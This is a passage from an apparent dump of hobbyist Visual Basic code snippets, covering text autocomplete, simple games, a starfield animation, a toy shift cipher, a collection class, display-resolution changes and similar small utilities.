Label3.Left = 315\n Label3.Top = 450\n Label2.Caption = \"Type text here:\"\n Label2.AutoSize = True\n Label2.Left = 315\n Label2.Top = 765\n txtDelim.Left = 1395\n txtType.Left = 1395\n txtList.Left = 1395\n txtDelim.Width = 5505\n txtType.Width = 5505\n txtList.Width = 5505\n txtList.Top = 90\n txtDelim.Top = 405\n txtType.Top = 720\n txtDelim.Height = 285\n txtType.Height = 285\n txtList.Height = 285\n txtDelim.Text = \",\"\n txtList.Text = \"greg,gregory,tom,dick,harry,www.microsoft.com,www.microware.com\"\n lastDelimeter = txtDelim.Text\nEnd Sub\nPrivate Sub Form_Resize()\n txtType.Width = ScaleWidth - 1500\n txtList.Width = ScaleWidth - 1500\n txtDelim.Width = ScaleWidth - 1500\n Height = 1500\nEnd Sub\nPrivate Sub txtType_KeyPress(KeyAscii As Integer)\n Dim a As Integer\n If KeyAscii = vbKeyReturn And txtType.Text <> \"\" And txtList.Text <> \"\" And InStr(txtType.Text, lastDelimeter) = 0 Then\n txtList.Text = txtList.Text & txtDelim.Text & txtType.Text\n ElseIf KeyAscii = vbKeyReturn And txtType.Text <> \"\" And InStr(txtType.Text, lastDelimeter) = 0 Then\n txtList.Text = txtType.Text\n ElseIf KeyAscii = vbKeyReturn And InStr(txtType.Text, lastDelimeter) Then\n For a = 255 To 0 Step -1\n If InStr(txtType.Text & lastDelimeter & txtList.Text, Chr(a)) = 0 Then\n Exit For\n ElseIf a = 1 And InStr(txtType.Text & lastDelimeter & txtList.Text, Chr(a)) Then\n MsgBox \"Error: there are no unique delimeters left, cannot add to datalist.\"\n Exit Sub\n End If\n Next a\n txtDelim.Text = Chr(a)\n Dim List As String, b As Integer: b = 0\n For a = Len(txtList.Text) To 1 Step -1\n If Mid$(txtList.Text, a, Len(lastDelimeter)) = lastDelimeter Then\n List = List & a & \",\"\n b = b + 1\n End If\n Next a\n For a = 1 To b\n txtList.SetFocus\n txtList.SelStart = ExtractArgument(a, List, \",\") - 1\n txtList.SelLength = Len(lastDelimeter)\n txtList.SelText = txtDelim.Text\n txtType.SetFocus\n Next a\n lastDelimeter = txtDelim.Text\n txtList.Text = txtList.Text & lastDelimeter & txtType.Text\n ElseIf txtDelim.Text <> lastDelimeter Then\n txtDelim.Text = lastDelimeter\n MsgBox \"You can only enter delimeter characters that do not exist in the list.\"\n End If\nEnd Sub\nPrivate Sub txtType_KeyUp(KeyCode As Integer, Shift As Integer)\n textComplete txtType, txtList.Text, txtDelim.Text, KeyCode\nEnd Sub\nPrivate Sub txtDelim_KeyPress(KeyAscii As Integer)\n If KeyAscii = vbKeyReturn Then\n If InStr(txtList.Text, txtDelim.Text) = 0 Then\n Dim List As String, a As Integer, b As Integer: b = 0\n For a = Len(txtList.Text) To 1 Step -1\n If Mid$(txtList.Text, a, Len(lastDelimeter)) = lastDelimeter Then\n List = List & a & \",\"\n b = b + 1\n End If\n Next a\n For a = 1 To b\n txtList.SelStart = ExtractArgument(a, List, \",\") - 1\n txtList.SelLength = Len(lastDelimeter)\n txtList.SelText = txtDelim.Text\n Next a\n lastDelimeter = txtDelim.Text\n ElseIf txtDelim.Text <> lastDelimeter Then\n txtDelim.Text = lastDelimeter\n MsgBox \"You can only enter delimeter characters that do not exist in the list.\"\n End If\n End If\nEnd Sub\n'END OF EXAMPLE CODE\n'\n'\n'THIS IS THE ACTUAL CODE FOR THE FUNCTION FROM HERE ON TO THE BOTTOM\n'ALL ABOVE IS OPTIONAL!!\nFunction textComplete(textBox As textBox, searchList As String, delimeter As String, keyHit As Integer)\n '''''''''''''''''''''''''''''''''''''''''''\n 'Place me in the KeyUp script of a textbox'\n 'Usage: textComplete textBox object, the words to search through, the last key hit (use keyCode)\n '''''''''''''''''''''''''''''''''''''''''''\n With textBox\n If keyHit <> vbKeyBack And keyHit > 48 Then\n Dim List As String, a As Integer, searchText As String, numDelim As Integer: numDelim = 0\n For a = 1 To Len(searchList)\n If Mid$(searchList, a, 1) = delimeter Then numDelim = numDelim + 1\n Next a\n For a = 1 To numDelim + 1\n searchText = ExtractArgument(a, searchList, delimeter)\n If InStr(searchText, .Text) And (Left$(.Text, 1) = Left$(searchText, 1)) And .Text <> \"\" Then\n .SelText = \"\"\n .SelLength = 0\n length = Len(.Text)\n .Text = .Text & Right$(searchText, Len(searchText) - Len(.Text))\n .SelStart = length\n .SelLength = Len(.Text)\n Exit Function\n End If\n Next a\n End If\n End With\nEnd Function\nFunction ExtractArgument(ArgNum As Integer, srchstr As String, Delim As String) As String\n On Error GoTo Err_ExtractArgument\n Dim ArgCount As Integer\n Dim LastPos As Integer\n Dim Pos As Integer\n Dim Arg As String\n Arg = \"\"\n LastPos = 1\n If ArgNum = 1 Then Arg = srchstr\n Do While InStr(srchstr, Delim) > 0\n Pos = InStr(LastPos, srchstr, Delim)\n If Pos = 0 Then\n 'No More Args found\n If ArgCount = ArgNum - 1 Then Arg = Mid(srchstr, LastPos)\n Exit Do\n Else\n ArgCount = ArgCount + 1\n If ArgCount = ArgNum Then\n Arg = Mid(srchstr, LastPos, Pos - LastPos)\n Exit Do\n End If\n End If\n LastPos = Pos + 1\n Loop\n ExtractArgument = Arg\n Exit Function\nErr_ExtractArgument:\n MsgBox \"Error \" & Err & \": \" & Error\n Resume Next\nEnd Function"},{"WorldId":1,"id":1877,"LineNumber":1,"line":"Public Function screenWipe(Form As Form, CutSpeed As Integer) As Boolean\n Dim OldWidth As Integer\n Dim OldHeight As Integer\n Form.WindowState = 0\n If CutSpeed <= 0 Then\n MsgBox \"You cannot use 0 as a speed value\"\n Exit Function\n End If\n Do\n OldWidth = Form.Width\n Form.Width = Form.Width - CutSpeed\n DoEvents\n If Form.Width <> OldWidth Then\n Form.Left = Form.Left + CutSpeed / 2\n DoEvents\n End If\n OldHeight = Form.Height\n Form.Height = Form.Height - CutSpeed\n DoEvents\n If Form.Height <> OldHeight Then\n Form.Top = Form.Top + CutSpeed / 2\n DoEvents\n End If\n Loop While Form.Width <> OldWidth Or Form.Height <> OldHeight\n Unload Form\nEnd Function"},{"WorldId":1,"id":1890,"LineNumber":1,"line":"Public Function countLines(textBox As textBox) As Long\n Dim A%, B$\n A% = 1\n B$ = textBox.text\n Do While InStr(B$, Chr$(13))\n A% = A% + 1\n B$ = Mid$(B$, InStr(B$, Chr$(13)) + 1)\n Loop\n countLines = CStr(A%)\nEnd Function"},{"WorldId":1,"id":2700,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3705,"LineNumber":1,"line":"Private Sub cmdEncrypt_Click()\npass$ = Len(password.Text) 'the number you shift each letter to encrypt\ntmpstr = Len(Text1.Text)\nIf tmpstr = \"0\" Then\nMsgBox (\"You must first type in something to Encrypt\") 'You can't encrypt nothing\nExit Sub\nEnd If\nFor i = 1 To tmpstr\nletter = Mid$(Text1.Text, i, 1) 'takes the ascii value and adds the length of the password to it\nencstr = Asc(letter) + pass$\nnewstr = Chr$(encstr) 'changes ascii value to a character\nencrypted$ = encrypted$ & newstr 'puts all the encrypted characters together\nNext i\nText1.Text = encrypted$ 'puts the encrypted string in text box\nEnd Sub\nPrivate Sub cmdDecrypt_Click()\npass$ = Len(password.Text) 'this is the exact same for the Encrypt Function\ntmpstr = Len(Text1.Text) 'the only difference is that instead of adding the lenght of password.text\n 'it is subtracted\nIf tmpstr = \"0\" Then\nMsgBox (\"You must first type in something to Decrypt\")\nExit Sub\nEnd If\nFor i = 1 To tmpstr\nletter = Mid$(Text1.Text, i, 1)\nencstr = Asc(letter) - pass$\nnewstr = Chr$(encstr)\ndecrypted$ = decrypted$ & newstr\nNext i\nText1.Text = decrypted$\nEnd Sub\n"},{"WorldId":1,"id":3407,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2090,"LineNumber":1,"line":"Private sub timer1_timer()\ndim nReturnValue as integer\nnReturnValue = FlashWindow(form1.hWnd, true)\nend sub"},{"WorldId":1,"id":2028,"LineNumber":1,"line":"Private Sub Command1_Click()\n Load mnuTest(mnuTest.Count)\nEnd Sub\n"},{"WorldId":1,"id":1899,"LineNumber":1,"line":"'***************************************************************\n' CLASS\n'***************************************************************\n'SEE MY NEW VERSION\n'Create a New Class and name it CollectionPlus (optional)\n'Copy/Paste the following Code\n'Creer une nouvelle Class et nommez-la CollectionPlus\n'Copier/Coller toutes les prochaines lignes\nOption Explicit\nDim theCollection As New Collection\nPrivate m_Delim As String\nConst DefaultDelim As String = \",\"\nPublic Event Erreur(ByVal FunctionName As String, ByVal Number As Long, ByVal Description As String, ByVal DataError As String)\nPrivate Sub Class_Initialize()\n m_Delim = DefaultDelim\nEnd Sub\nPrivate Sub Class_Terminate()\n Set theCollection = Nothing\nEnd Sub\nPublic Sub Add(Item As Variant, Optional ByVal Key As Variant, Optional ByVal Before As Variant, Optional ByVal After As Variant)\n On Error GoTo err_Occur\n theCollection.Add Item, Key, Before, After\n On Error GoTo 0\nerr_Continu:\n Exit Sub\nerr_Occur:\n RaiseEvent Erreur(\"Add\", Err.Number, Err.Description, \"\")\n Resume err_Continu\nEnd Sub\nPublic Sub RemoveKey(ByVal Key As String)\n On Error GoTo err_Occur\n theCollection.Remove Key\n On Error GoTo 0\nerr_Continu:\n Exit Sub\nerr_Occur:\n RaiseEvent Erreur(\"RemoveKey\", Err.Number, Err.Description, Key)\n Resume err_Continu\nEnd Sub\nPublic Sub Remove(ByVal IndexOrKey As Variant)\n On Error GoTo err_Occur\n theCollection.Remove IndexOrKey\n On Error GoTo 0\nerr_Continu:\n Exit Sub\nerr_Occur:\n RaiseEvent Erreur(\"Remove\", Err.Number, Err.Description, IndexOrKey)\n Resume err_Continu\nEnd Sub\nPublic Sub RemoveIndex(ByVal Index As Long)\n On Error GoTo err_Occur\n If Index <= theCollection.Count Then\n theCollection.Remove Index\n Else\n RaiseEvent Erreur(\"RemoveIndex\", 9, \"Subscript out of range, Max=\" + CStr(theCollection.Count), Index)\n End If\n On Error GoTo 0\nerr_Continu:\n Exit Sub\nerr_Occur:\n MsgBox Err.Number\n RaiseEvent Erreur(\"RemoveIndex\", Err.Number, Err.Description, Index)\n Resume err_Continu\nEnd Sub\nPublic Sub RemoveAll()\n If theCollection.Count = 0 Then Exit Sub\n Dim element As Variant\n For Each element In theCollection\n theCollection.Remove 1\n Next element\nEnd Sub\nPublic Property Get Count() As Long\n On Error GoTo err_Occur\n Count = theCollection.Count\n On Error GoTo 0\nerr_Continu:\n Exit Function\nerr_Occur:\n RaiseEvent Erreur(\"Count\", Err.Number, Err.Description, \"\")\n Resume err_Continu\nEnd Property\nPublic Function Item(ByVal IndexOrKey As Variant) As Variant\n On Error GoTo err_Occur\n Item = theCollection.Item(IndexOrKey)\n On Error GoTo 0\nerr_Continu:\n Exit Function\nerr_Occur:\n RaiseEvent Erreur(\"Item\", Err.Number, Err.Description, IndexOrKey)\n Resume err_Continu\nEnd Function\nPublic Function IfItemIsThere(ByVal Index As Long) As Boolean\n Dim temp As Variant\n On Error GoTo err_Occur\n temp = theCollection.Item(Index)\n On Error GoTo 0\n IfItemIsThere = True\nerr_Continu:\n Exit Function\nerr_Occur:\n IfItemIsThere = False\n Resume err_Continu\nEnd Function\nPublic Function IfKeyIsThere(ByVal Key As String) As Boolean\n Dim temp As Variant\n On Error GoTo err_Occur\n temp = theCollection.Item(Key)\n On Error GoTo 0\n IfKeyIsThere = True\nerr_Continu:\n Exit Function\nerr_Occur:\n IfKeyIsThere = False\n Resume err_Continu\nEnd Function\nPublic Property Get DelimStringDataError() As String\n DelimStringDataError = m_Delim\nEnd Property\nPublic Property Let DelimStringDataError(ByVal NewDelim As String)\n m_Delim = NewDelim\nEnd Property\n'***************************************************************\n' FORM\n'***************************************************************\n'Copy/Paste this lines in a Form called frmMain\n'Copier/Coller ces lignes dans une Form nommer frmMain\nOption Explicit\n'The Declaration for Handle the Error Event of Collection Plus\nDim WithEvents myCol As CollectionPlus\nPrivate Sub Form_Load()\n 'Initialize Collection\n Set myCol = New CollectionPlus\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n Set myCol = Nothing\n Set frmMain = Nothing\n End\nEnd Sub\nPrivate Sub cmdTestCol_Click()\n 'The Add,Item,Remove and Count are same as Collection\n myCol.Add \"My Item\", \"My Key\" ' ,\"Before Key\",\"After Key\" [Optional]\n myCol.Add \"Second\"\n \n 'Verify my Items\n MsgBox \"Have Item 1 : \" + CStr(myCol.IfItemIsThere(1)) + vbCrLf + vbCrLf + _\n \"Have Key 'My Key' : \" + CStr(myCol.IfKeyIsThere(\"My Key\")) + vbCrLf + vbCrLf + _\n \"Have Item 3 : \" + CStr(myCol.IfItemIsThere(3)), _\n vbInformation + vbSystemModal, \"CollectionPlus\"\n \n 'An Error Event Occur (without Crash !)\n myCol.Remove 5\n \n 'This gonna Delete \"Second\" (Like Collection)\n myCol.RemoveKey \"\"\n \n 'Get Count\n MsgBox \"Collection Count: \" + CStr(myCol.Count), vbInformation + vbSystemModal, \"CollectionPlus\"\n \n 'Now Remove All Items\n myCol.RemoveAll\n \nEnd Sub\n'Error Event of CollectionPlus\nPrivate Sub myCol_Erreur(ByVal FunctionName As String, ByVal Number As Long, ByVal Description As String, ByVal DataError As String)\n MsgBox \"FunctionName: \" + FunctionName + vbCrLf + \"Number: \" + CStr(Number) + vbCrLf + _\n \"Description: \" + Description + vbCrLf + \"DataError: \" + DataError, _\n vbInformation + vbSystemModal, \"Error Event CollectionPlus !\"\nEnd Sub\n"},{"WorldId":1,"id":1900,"LineNumber":1,"line":"Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\n'you can change the speed of the ball by changing the numbers after the + and - signs\nIf KeyCode = vbKeyF1 Then\nMsgBox (\"Created by Ben Doherty, jake-d@mindspring.com or http://www.mindspring.com/~jake-d/vb/\")\nEnd If\nIf KeyCode = vbKeyUp Then\nImage1.Top = Image1.Top - 30\nEnd If\nIf KeyCode = vbKeyDown Then\nImage1.Top = Image1.Top + 30\nEnd If\nIf KeyCode = vbKeyLeft Then\nImage1.Left = Image1.Left - 30\nEnd If\nIf KeyCode = vbKeyRight Then\nImage1.Left = Image1.Left + 30\nEnd If\nEnd Sub\n\nPrivate Sub Form_Load()\nEnd Sub\n"},{"WorldId":1,"id":1904,"LineNumber":1,"line":"Private Sub cmdSpellCheck_Click()\n 'On Error Resume Next 'Best to un-comment this while testing\n Dim objMsWord As Word.Application\n Dim strTemp As String\n Set objMsWord = CreateObject(\"Word.Application\")\n objMsWord.WordBasic.FileNew\n objMsWord.WordBasic.Insert txtMessage.Text \n objMsWord.WordBasic.ToolsSpelling\n objMsWord.WordBasic.EditSelectAll\n objMsWord.WordBasic.SetDocumentVar \"MyVar\", objMsWord.WordBasic.Selection\n objMsWord.Visible = False ' Mostly prevents Word from being shown\n strTemp = objMsWord.WordBasic.GetDocumentVar(\"MyVar\")\n txtMessage.Text = Left(strTemp, Len(strTemp) - 1)\n \n objMsWord.Documents.Close (0) ' Close file without saving\n objMsWord.Quit ' Exit Word\n Set objMsWord = Nothing ' Clear object memory\n frmMain.SetFocus ' Return focus to Main form \nEnd Sub\n"},{"WorldId":1,"id":8364,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1910,"LineNumber":1,"line":"' code for saving into a .txt file\n' put into a button\nopen \"path and filename\" for append as 1\n' example C:\\demo.txt\nprint #1, text1.text\nclose 1"},{"WorldId":1,"id":1912,"LineNumber":1,"line":"Public Function SetIcon(FormhWnd As Long)\nDim x, i As Long\n i = ExtractIcon(0, \"c:\\SomeDll.DLL\", 3)\n 'In this case you will extract the 3rd icon from SomeDll.DLL. In this\n 'way you can extract any icon you want, just by reffering to the icon\n '(number) of the icon you want to extract in the dll. If you want to \n 'know the iconnumbers of a dll, you will have to use a recource editor\n '(like Borland Recource Workshop). You can also extract the Icon Handle\n 'of a .ico file just by using some code like:\n 'i=ExtractIcon(0,\"c:\\SomeIconFile.ico\",0)\n 'where SomeIconFile is the name of the icon you want to use.\n 'Now finally set the icon in the title bar of the window\n x = DefWindowProc(FormhWnd, WM_SETICON, &H1, i)\nEnd Function\n"},{"WorldId":1,"id":1958,"LineNumber":1,"line":"'first just start a new program, and insert a timer named timer1! \n'Then set it's interval to 1! That's it!\nDim starX(0 To 100) As Double 'holds the X coords for the stars\nDim starY(0 To 100) As Double 'holds the Y coords for the stars\nDim starDist(0 To 100) As Double 'holds the size the stars should be\nDim starSpeed As Double 'holds the speed of the star field\nDim formMidX As Double 'holds the center X coord for the form\nDim formMidY As Double 'holds the center Y coord for the form\nPrivate Sub Form_KeyPress(KeyAscii As Integer)\n'end when the user presses a key\nEnd\nEnd Sub\nPrivate Sub Form_Load()\n'initialize the random number generator\nRandomize\nForm1.BackColor = &H0&\nForm1.ForeColor = &HFFFFFF\nForm1.FillColor = &HFFFFFF\nForm1.FillStyle = 0\nForm1.DrawWidth = 2\n'the middle x and y coords of the form\nformMidX = (Form1.Width / 2) 'set the center x axis of the form\nformMidY = (Form1.Height / 2) 'set the center y axis of the form\n'initialize the arrays\nFor X = 0 To 100\n \n 'loops to check that the star is not in the exact center of the screen\n Do\n 'set the stars (x,y) coords to random places\n starX(X) = Int(Rnd * Form1.Width)\n starY(X) = Int(Rnd * Form1.Height)\n starDist(X) = Int(Rnd * 5)\n Loop While (starX(X) = formMidY And starY(Y) = formMidY)\n \n 'the size of each star\n starDist(X) = 0\nNext X\n'set the speed at which the stars are moving\nstarSpeed = 0.025\nEnd Sub\nPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n'set the 0,0 lines for the x&y axis at the mouse co-ords.\nformMidX = X\nformMidY = Y\nEnd Sub\nPrivate Sub Timer1_Timer()\n'loop for each star\nFor X = 0 To 100\n \n 'set the fill color to black\n Form1.FillColor = Form1.BackColor\n 'this circle draws a black star over the star's last location\n Circle (starX(X), starY(X)), starDist(X), BackColor\n \n 'add 1 to the star distance (size of the star)\n starDist(X) = starDist(X) + 0.1\n \n 'determine in which direction the star should be moving on the x axis\n If starX(X) > (formMidX) Then\n starX(X) = starX(X) + Int(Abs(formMidX - starX(X)) * starSpeed) * (starDist(X) * 0.2)\n Else\n starX(X) = starX(X) - Int(Abs(formMidX - starX(X)) * starSpeed) * (starDist(X) * 0.2)\n End If\n 'determine in which direction the star should be moving on the y axis\n If starY(X) > (formMidY) Then\n starY(X) = starY(X) + Int(Abs(formMidY - starY(X)) * starSpeed) * (starDist(X) * 0.2)\n Else\n starY(X) = starY(X) - Int(Abs(formMidY - starY(X)) * starSpeed) * (starDist(X) * 0.2)\n End If\n \n 'see if the star has left the edge of the screen\n If starX(X) > Form1.Width Or starX(X) < 0 Or starY(X) > Form1.Height Or starY(X) < 0 Then\n 'loops to check that the star is not in the exact center of the screen\n Do\n 'set the stars (x,y) coords to random places\n starX(X) = Int(Rnd * Form1.Width)\n starY(X) = Int(Rnd * Form1.Height)\n Loop While (starX(X) = formMidX Or starY(Y) = formMidY)\n \n starDist(X) = 1\n End If\n \n 'make sure that the star isn't getting too close\n 'like the user is holding the mouse over a star\n If starDist(X) > 30 Then\n starDist(X) = 1\n starX(X) = Int(Rnd * Form1.Width)\n starY(X) = Int(Rnd * Form1.Height)\n End If\n \n 'draw the star, setting the fill color to white\n Form1.FillColor = &HFFFFFF\n Circle (starX(X), starY(X)), starDist(X)\n \nNext X\nEnd Sub\n\n"},{"WorldId":1,"id":1971,"LineNumber":1,"line":"Dim vmom As Integer 'holds the ball's vertical momentum\nDim hmom As Integer 'holds the ball's horizontal momentum\n\nPrivate Sub Form_Load()\n Randomize\n 'make the vertical and horizontal momentums random\n vmom = 100 + Int(Rnd * 200)\n hmom = 100 + Int(Rnd * 200)\nEnd Sub\n\nPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n 'move the paddle to the mouse's position\n Shape1.Left = X - (Shape1.Width / 2)\nEnd Sub\n\nPrivate Sub Timer1_Timer()\n 'move the ball, based on the virtical and horizontal momenutm\n Shape2.Top = Shape2.Top + vmom\n Shape2.Left = Shape2.Left + hmom\n 'see if the ball is hitting the surface of the paddle\n\n If (Shape2.Top + Shape2.Height) > Shape1.Top Then\n If Shape2.Left + Shape2.Width >= Shape1.Left And Shape2.Left <= Shape1.Left + Shape1.Width Then\n vmom = -vmom\n End If\nEnd If\n'see if the ball has hit the edge of the screen\n\nIf (Shape2.Left + Shape2.Width) > Form1.Width Then\n Shape2.Left = Form1.Width - Shape2.Width\n hmom = -hmom 'this reverses it ball's direction\nElseIf Shape2.Left < 0 Then\n Shape2.Left = 0\n hmom = -hmom 'this reverses it ball's direction\nElseIf Shape2.Top < 0 Then\n Shape2.Top = 0\n vmom = -vmom 'this reverses it ball's direction\nElseIf Shape2.Top > Form1.Height Then\n MsgBox \"You lost!\"\n Timer1.Enabled = False\nEnd If\nEnd Sub\n\n"},{"WorldId":1,"id":3070,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3050,"LineNumber":1,"line":"Dim vmom As Integer 'vertical momentum\nDim hmom As Integer 'horizontal momentum\nDim padSpeed As Integer 'the speed of the players paddle\nDim origPaddleLoc As Integer\nDim origBallLocY As Integer\nDim origBallLocX As Integer\nPrivate Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\nIf KeyCode = 38 Then 'the up key\n padSpeed = -150\nElseIf KeyCode = 40 Then 'the down key\n padSpeed = 150\nEnd If\nEnd Sub\nPrivate Sub Form_KeyUp(KeyCode As Integer, Shift As Integer)\npadSpeed = 0 'stop the paddle from moving\nEnd Sub\nPrivate Sub Form_Load()\nhmom = -150\nvmom = 0\n'record the origional starting locations for everything\norigPaddleLoc = shpPlayer1.Top\norigBallLocX = shpBall.Left\norigBallLocY = shpBall.Top\nEnd Sub\nPrivate Sub Timer1_Timer()\n'move the ball\nshpBall.Top = shpBall.Top + vmom\nshpBall.Left = shpBall.Left + hmom\n'check to see if the ball's hit a wall\nIf shpBall.Top + shpBall.Height >= shpWallBottom.Top Then\n shpBall.Top = shpWallBottom.Top - shpBall.Height\n vmom = -vmom\n Beep\nElseIf shpBall.Top <= shpWallTop.Top + shpWallTop.Height Then\n shpBall.Top = shpWallTop.Top + shpWallTop.Height\n vmom = -vmom\n Beep\nEnd If\n'move the paddle\nIf padSpeed <> 0 Then\n shpPlayer1.Top = shpPlayer1.Top + padSpeed\nEnd If\n'check to see if the paddle's hit a wall\nIf shpPlayer1.Top <= shpWallTop.Top + shpWallTop.Height Then\n shpPlayer1.Top = shpWallTop.Top + shpWallTop.Height\nElseIf shpPlayer1.Top + shpPlayer1.Height >= shpWallBottom.Top Then\n shpPlayer1.Top = shpWallBottom.Top - shpPlayer1.Height\nEnd If\nIf shpPlayer2.Top <= shpWallTop.Top + shpWallTop.Height Then\n shpPlayer2.Top = shpWallTop.Top + shpWallTop.Height\nElseIf shpPlayer2.Top + shpPlayer2.Height >= shpWallBottom.Top Then\n shpPlayer2.Top = shpWallBottom.Top - shpPlayer2.Height\nEnd If\n'move the computer player's paddle\nIf shpBall.Top < shpPlayer2.Top Then\n shpPlayer2.Top = shpPlayer2.Top - 250\nElseIf shpBall.Top > shpPlayer2.Top + shpPlayer2.Height Then\n shpPlayer2.Top = shpPlayer2.Top + 250\nEnd If\n'if the ball has hit player 1's paddle\nIf shpBall.Left <= shpPlayer1.Left + shpPlayer1.Width And shpBall.Left >= shpPlayer1.Left - shpPlayer1.Width Then\n If shpBall.Top + shpBall.Height >= shpPlayer1.Top And shpBall.Top <= shpPlayer1.Top + shpPlayer1.Height Then\n 'calculate the angle it's deflecting off at\n tmp = ((shpPlayer1.Top + (shpPlayer1.Height / 2)) - (shpBall.Top + (shpBall.Height / 2))) * 0.55\n vmom = vmom + -tmp\n Beep\n shpBall.Left = shpPlayer1.Left + shpPlayer1.Width\n 'deflect the ball\n hmom = -hmom\n End If\nEnd If\n'if the ball has hit player 2's paddle\nIf shpBall.Left + shpBall.Width >= shpPlayer2.Left And shpBall.Left <= shpPlayer2.Left + shpPlayer2.Width Then\n If shpBall.Top + shpBall.Height >= shpPlayer2.Top And shpBall.Top <= shpPlayer2.Top + shpPlayer2.Height Then\n 'calculate the angle it's deflecting off at\n tmp = ((shpPlayer2.Top + (shpPlayer2.Height / 2)) - (shpBall.Top + (shpBall.Height / 2))) * 0.55\n vmom = vmom + -tmp\n Beep\n shpBall.Left = shpPlayer2.Left - shpBall.Width\n 'deflect the ball\n hmom = -hmom\n End If\nEnd If\n'see if someone's won\nIf shpBall.Left + shpBall.Width < 0 Then\n 'reset the ball and paddles to their origional location\n shpBall.Left = origBallLocX\n shpBall.Top = origBallLocY\n shpPlayer1.Top = origPaddleLoc\n shpPlayer2.Top = origPaddleLoc\n hmom = -150\n vmom = 0\nElseIf shpBall.Left > Form1.Width Then\n 'reset the ball and paddles to their origional location\n shpBall.Left = origBallLocX\n shpBall.Top = origBallLocY\n shpPlayer1.Top = origPaddleLoc\n shpPlayer2.Top = origPaddleLoc\n hmom = 150\n vmom = 0\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":3025,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3076,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4059,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8033,"LineNumber":1,"line":"Option Explicit\nPublic Sub Test_CountDays()\n'Number of Days between now and 10 days ago, excluding all weekend days\nMsgBox CountDays(Now - 10, Now, True)\nEnd Sub\nPublic Function CountDays( _\n dtFirstDate As Date, _\n dtSecondDate As Date, _\n Optional fNoWeekend As Boolean = True _\n ) As Integer\n \nDim dtFirstDateTemp As Date 'Hold date to do calculations with\ndtFirstDateTemp = dtFirstDate\nDim intWeekendDays As Integer 'Holds weekend days\nIf dtFirstDate > dtSecondDate Then\n Exit Function 'Stops you from messing up this calculation, returns \"0\"\n \nElse\n If fNoWeekend = True Then\n Do\n If (Weekday(dtFirstDateTemp) Mod 6 = 1) Then\n intWeekendDays = intWeekendDays + 1\n End If\n \n dtFirstDateTemp = DateAdd(\"d\", 1, dtFirstDateTemp)\n \n Loop Until DateSerial(Year(dtFirstDateTemp), _\n Month(dtFirstDateTemp), _\n Day(dtFirstDateTemp)) _\n = DateSerial(Year(dtSecondDate), _\n Month(dtSecondDate), _\n Day(dtSecondDate))\n \n CountDays = CInt(DateDiff(\"d\", dtFirstDate, dtSecondDate - intWeekendDays))\n \n Else\n \n CountDays = CInt(DateDiff(\"d\", dtFirstDate, dtSecondDate))\n \n End If\n \nEnd If\nEnd Function"},{"WorldId":1,"id":5371,"LineNumber":1,"line":"'How do you call these Functions?\nOption Explicit\nPrivate Sub Command1_Click()\n Text1.Text = NameByAddr(Text2)\nEnd Sub\n\nPrivate Sub Command2_Click()\n Text2.Text = AddrByName(\"www.yahoo.com\")\nEnd Sub\n\nPrivate Sub Form_Load()\n IP_Initialize\nEnd Sub\n\nPrivate Sub Form_Unload(Cancel As Integer)\n WSACleanup\nEnd Sub\n"},{"WorldId":1,"id":1943,"LineNumber":1,"line":"Function ChangeRes(Width As Single, Height As Single, BPP As Integer) As Integer\nOn Error GoTo ERROR_HANDLER\nDim DevM As DEVMODE, I As Integer, ReturnVal As Boolean, _\n RetValue, OldWidth As Single, OldHeight As Single, _\n OldBPP As Integer\n \n Call EnumDisplaySettings(0&, -1, DevM)\n OldWidth = DevM.dmPelsWidth\n OldHeight = DevM.dmPelsHeight\n OldBPP = DevM.dmBitsPerPel\n \n I = 0\n Do\n ReturnVal = EnumDisplaySettings(0&, I, DevM)\n I = I + 1\n Loop Until (ReturnVal = False)\n \n DevM.dmFields = DM_PELSWIDTH Or DM_PELSHEIGHT Or DM_BITSPERPEL\n DevM.dmPelsWidth = Width\n DevM.dmPelsHeight = Height\n DevM.dmBitsPerPel = BPP\n Call ChangeDisplaySettings(DevM, 1)\n RetValue = MsgBox(\"Do You Wish To Keep Your Screen Resolution To \" & Width & \"x\" & Height & \" - \" & BPP & \" BPP?\", vbQuestion + vbOKCancel, \"Change Resolution Confirm:\")\n If RetValue = vbCancel Then\n DevM.dmPelsWidth = OldWidth\n DevM.dmPelsHeight = OldHeight\n DevM.dmBitsPerPel = OldBPP\n Call ChangeDisplaySettings(DevM, 1)\n MsgBox \"Old Resolution(\" & OldWidth & \" x \" & OldHeight & \", \" & OldBPP & \" Bit) Successfully Restored!\", vbInformation + vbOKOnly, \"Resolution Confirm:\"\n ChangeRes = 0\n Else\n ChangeRes = 1\n End If\n Exit Function\nERROR_HANDLER:\n ChangeRes = 0\nEnd Function\n"},{"WorldId":1,"id":3741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7476,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9601,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5625,"LineNumber":1,"line":"Option Explicit\nPublic Sub PicShow(ByVal PixPath As String, fForm As Form)\nOn Error GoTo noshow\nDim dHeight, dIHeight\nDim dWidth, dIWidth\nDim dPercent\nWith fForm\n .ViewImage.Visible = False\n .ViewImage.Stretch = False\n .Caption = App.Title & \" - \" & UCase(PixPath)\n .ViewImage.Picture = LoadPicture(PixPath)\n If .ViewImage.Height < .PicBack.Height And .ViewImage.Width < .PicBack.Width Then\n .ViewImage.Visible = True\n Exit Sub\n End If\n dHeight = .ViewImage.Height\n dWidth = .ViewImage.Width\n dIHeight = .PicBack.Height - 1\n dIWidth = .PicBack.Width - 1\n .ViewImage.Stretch = True\n .ViewImage.Height = .PicBack.Height - 2\n dPercent = (.PicBack.Height - 2) / dHeight * 100\n .ViewImage.Width = dWidth / 100 * dPercent\n If .ViewImage.Width > (.PicBack.Width - 2) Then\n .ViewImage.Stretch = False\n dHeight = .ViewImage.Height\n dWidth = 